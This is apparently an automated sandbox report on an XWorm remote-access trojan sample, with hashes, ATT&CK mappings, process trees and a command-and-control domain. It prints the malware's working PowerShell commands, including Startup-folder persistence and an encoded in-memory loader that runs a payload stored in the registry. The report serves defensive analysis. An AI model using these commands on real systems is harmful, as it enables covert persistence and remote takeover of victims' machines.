Malware Analysis Report

2024-09-11 13:48

Sample ID 240614-w55wbssblc
Target 2c12323597f6a02460508f622dd3a14f9962b1600e9d8bc8bc438ae39ad59e5b.zip
SHA256 2c12323597f6a02460508f622dd3a14f9962b1600e9d8bc8bc438ae39ad59e5b
Tags
xworm execution rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

2c12323597f6a02460508f622dd3a14f9962b1600e9d8bc8bc438ae39ad59e5b

Threat Level: Known bad

The file 2c12323597f6a02460508f622dd3a14f9962b1600e9d8bc8bc438ae39ad59e5b.zip was found to be: Known bad.

Malicious Activity Summary

xworm execution rat trojan

Xworm

Detect Xworm Payload

Drops startup file

Checks computer location settings

Enumerates physical storage devices

Command and Scripting Interpreter: PowerShell

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
System Information Discovery
T1082
Query Registry
T1012
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-14 18:31

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 18:31

Reported

2024-06-14 18:34

Platform

win7-20240221-en

Max time kernel

120s

Max time network

122s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\paymentd.vbs"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 340 wrote to memory of 2916 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 340 wrote to memory of 2916 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 340 wrote to memory of 2916 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 340 wrote to memory of 2896 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 340 wrote to memory of 2896 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 340 wrote to memory of 2896 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\paymentd.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -window 1 Copy-Item 'C:\Users\Admin\AppData\Local\Temp\paymentd.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs';

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABjAGgAcgBvAG0AZQBcACkALgBjAGgAcgBvAG0AZQApADsAIAAkAHQAZQB4AHQAIAA9ACAALQBqAG8AaQBuACAAJAB0AGUAeAB0AFsALQAxAC4ALgAtACQAdABlAHgAdAAuAEwAZQBuAGcAdABoAF0AOwAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAdABlAHgAdAApACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAkAE4AdQBsAGwALAAkAE4AdQBsAGwAKQA7AA==

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 5fa1db1f467573cbeccad973a550387d
SHA1 eb7b1e889736aa4c35e0548b0e7feae5faf8e9e5
SHA256 372c033328aac23e402cd744e081a8a57f1775ab41ff5def1802f4cfc429f4b6
SHA512 1c3a7b2b6f5ce278ad8f03ac6ce0fe4daecf4651367382c638ceb57fd744b754f091d62bed7bccb001f28b18c21e91ae246a0af1abed0d213a704bde354726eb

memory/2916-9-0x000000001B650000-0x000000001B932000-memory.dmp

memory/2916-10-0x0000000002860000-0x0000000002868000-memory.dmp

memory/2896-11-0x0000000002960000-0x0000000002970000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 18:31

Reported

2024-06-14 18:34

Platform

win10v2004-20240508-en

Max time kernel

92s

Max time network

90s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\paymentd.vbs"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A

Xworm

trojan rat xworm

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2520 wrote to memory of 3528 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 3528 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 4072 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2520 wrote to memory of 4072 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\paymentd.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -window 1 Copy-Item 'C:\Users\Admin\AppData\Local\Temp\paymentd.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chrome.vbs';

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -enc IAAkAHQAZQB4AHQAIAA9ACAAKAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIABIAEsAQwBVADoAXABTAG8AZgB0AHcAYQByAGUAXABjAGgAcgBvAG0AZQBcACkALgBjAGgAcgBvAG0AZQApADsAIAAkAHQAZQB4AHQAIAA9ACAALQBqAG8AaQBuACAAJAB0AGUAeAB0AFsALQAxAC4ALgAtACQAdABlAHgAdAAuAEwAZQBuAGcAdABoAF0AOwAgAFsAQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAdABlAHgAdAApACkALgBFAG4AdAByAHkAUABvAGkAbgB0AC4ASQBuAHYAbwBrAGUAKAAkAE4AdQBsAGwALAAkAE4AdQBsAGwAKQA7AA==

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 estrella1221.duckdns.org udp

Files

memory/4072-0-0x00007FFE88A13000-0x00007FFE88A15000-memory.dmp

memory/4072-1-0x000002A8795F0000-0x000002A879612000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_erigg3pk.5lq.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4072-20-0x00007FFE88A10000-0x00007FFE894D1000-memory.dmp

memory/3528-21-0x00007FFE88A10000-0x00007FFE894D1000-memory.dmp

memory/3528-22-0x00007FFE88A10000-0x00007FFE894D1000-memory.dmp

memory/3528-23-0x00007FFE88A10000-0x00007FFE894D1000-memory.dmp

memory/4072-24-0x00007FFE88A10000-0x00007FFE894D1000-memory.dmp

memory/4072-25-0x000002A87BDD0000-0x000002A87BE14000-memory.dmp

memory/4072-26-0x000002A879620000-0x000002A879630000-memory.dmp

memory/3528-30-0x00007FFE88A10000-0x00007FFE894D1000-memory.dmp

memory/4072-32-0x00007FFE88A13000-0x00007FFE88A15000-memory.dmp

memory/4072-33-0x00007FFE88A10000-0x00007FFE894D1000-memory.dmp